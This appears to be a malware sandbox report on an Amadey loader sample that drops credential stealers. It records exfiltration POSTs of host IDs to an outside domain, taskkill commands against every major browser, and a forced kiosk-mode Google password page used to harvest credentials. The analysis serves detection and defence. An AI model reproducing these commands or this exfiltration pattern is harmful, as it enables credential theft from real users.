2024-11-23 14:22:56 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49922	104.21.33.116	443	2484	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BUILIG1X1EGGL8MD6Y User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20443 Host: property-imper.sbs
2024-11-23 14:22:56 UTC	15331	OUT	Data Raw: 2d 2d 42 55 49 4c 49 47 31 58 31 45 47 47 4c 38 4d 44 36 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 34 31 46 43 39 41 42 34 34 30 30 41 42 39 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 42 55 49 4c 49 47 31 58 31 45 47 47 4c 38 4d 44 36 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 42 55 49 4c 49 47 31 58 31 45 47 47 4c 38 4d 44 36 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --BUILIG1X1EGGL8MD6YContent-Disposition: form-data; name="hwid"641FC9AB4400AB98D7CBBD6DF28D3732--BUILIG1X1EGGL8MD6YContent-Disposition: form-data; name="pid"3--BUILIG1X1EGGL8MD6YContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-23 14:22:56 UTC	5112	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 Data Ascii: `M?lrQMn 64F6(X&7~
2024-11-23 14:22:57 UTC	1027	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v36706eck0lgplqi2aki4hbiag; expires=Wed, 19-Mar-2025 08:09:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SgyHTRnf5QfUk7Q1nu%2BR1KRmKKvk5f8W2oR3IaE49YFizG%2FHDbY%2BSGUplDwtfP92qU9neohVgiUKswm%2FKkwwY%2Fy27bOT%2FB0fDfW3Ab1%2BS3ODkdJbBRngOp5rERDt6b7%2FVrhIXwI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e71d0724d5e0f78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1707&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21407&delivery_rate=1731909&cwnd=213&unsent_bytes=0&cid=069f1e907ed673c0&ts=909&x=0"
2024-11-23 14:22:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-23 14:22:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49920	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:56 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 0b679675-f01e-005d-336b-3b13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142256Z-178bfbc474btrnf9hC1NYCb80g00000004qg00000000cch4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:56 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49921	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:22:56 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:22:57 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:56 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: a1d7de20-e01e-0051-6948-3c84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T142256Z-178bfbc474b9xljthC1NYCtw9400000004k0000000003rwr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:22:57 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Target ID:	0
Start time:	09:21:00
Start date:	23/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb70000
File size:	1'985'024 bytes
MD5 hash:	699F4008683185B4A050B05ACE13D601
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000002.1793363928.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000000.00000003.1706623549.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	09:21:06
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xdc0000
File size:	1'985'024 bytes
MD5 hash:	699F4008683185B4A050B05ACE13D601
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000003.1773574419.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000001.00000002.1814521786.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 55%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	09:21:07
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdc0000
File size:	1'985'024 bytes
MD5 hash:	699F4008683185B4A050B05ACE13D601
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000003.1783134559.0000000005180000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000002.00000002.1823498115.0000000000DC1000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	09:22:00
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xdc0000
File size:	1'985'024 bytes
MD5 hash:	699F4008683185B4A050B05ACE13D601
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.2300189242.0000000005590000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	09:22:11
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008450001\5468191780.exe"
Imagebase:	0xdc0000
File size:	665'088 bytes
MD5 hash:	E7AA83909ACE3906EC75144CC33E024C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 26%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:22:11
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:22:12
Start date:	23/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Imagebase:	0x480000
File size:	43'016 bytes
MD5 hash:	5D1D74198D75640E889F0A577BBF31FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:22:12
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 1224
Imagebase:	0x7b0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:22:24
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"
Imagebase:	0x9e0000
File size:	1'846'784 bytes
MD5 hash:	3EBF7BB70DC746683D4274C4AF45C8AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2606017151.0000000001399000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2659887278.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2695714485.000000000139A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2662002008.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2630672197.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2687415962.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2607114337.0000000001399000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2660483702.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000003.2631540208.0000000001397000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	09:22:33
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe"
Imagebase:	0xc70000
File size:	1'787'392 bytes
MD5 hash:	0537AFAC70B6FBC5A47749CAF7565B78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.3109931730.0000000000C71000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000F.00000002.3109931730.0000000000D3C000.00000040.00000001.01000000.0000000F.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000003.2627351987.0000000005490000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000F.00000002.3125680756.000000000197E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 42%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	09:22:38
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008452001\f5d46eacf9.exe"
Imagebase:	0x9e0000
File size:	1'846'784 bytes
MD5 hash:	3EBF7BB70DC746683D4274C4AF45C8AC
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2749502841.000000000119F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2818578947.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2779674045.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2816108963.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2817466768.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2815133175.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2863664050.00000000011A7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2863943715.00000000011AC000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2845499315.0000000001198000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2780226045.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2782689766.000000000119B000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000010.00000003.2813114582.000000000119A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	17
Start time:	09:22:40
Start date:	23/11/2024
Path:	C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1008454001\9777a59422.exe"
Imagebase:	0x710000
File size:	922'624 bytes
MD5 hash:	143C4039D125E72CE6D0CE771F89C518
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000011.00000003.2756319957.00000000012FF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	09:22:40
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:22:40
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:22:42
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:22:42
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:22:42
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:22:42
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0x4d0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	09:22:43
Start date:	23/11/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6bf500000
File size:	676'768 bytes
